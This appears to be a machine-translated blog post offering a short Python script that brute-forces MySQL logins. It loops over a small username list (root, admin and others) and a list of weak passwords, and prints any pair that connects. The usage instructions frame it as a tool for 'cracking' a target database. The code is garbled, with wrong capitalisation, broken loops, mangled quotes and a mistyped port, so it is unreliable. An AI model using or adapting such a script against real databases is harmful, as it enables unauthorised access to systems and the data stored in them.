Mysql python version of the explosion small script, you need to install the Python plug-in Mysql-python.exe, you can see the small amount of code, (note: The username and password are similar dictionaries.) Usage: Save code for mysqldatabaseblasting.py,cmd switch to mysqldatabaseblasting.py path, and execute mysqldatabaseblasting.py to start cracking
Import mysqldb
#coding =gbk
#目标IP MySQL database must be open 3360 remote login port
mysql_username = (' root ', ' test ', ' admin ', ' user ' #账号字典
Common_weak_password = (', ' 123456 ', ' Test ', ' root ', ' admin ', ' user ') #密码字典
success = False
host = " 127.0.0.1 "#数据库IP地址
port = 3306 for
username in mysql_username: for
password in Common_weak_password:
Try:
db = MySQLdb.connect (host, username, password)
success = True
if success:
print username, Password
except Exception, E:
Pass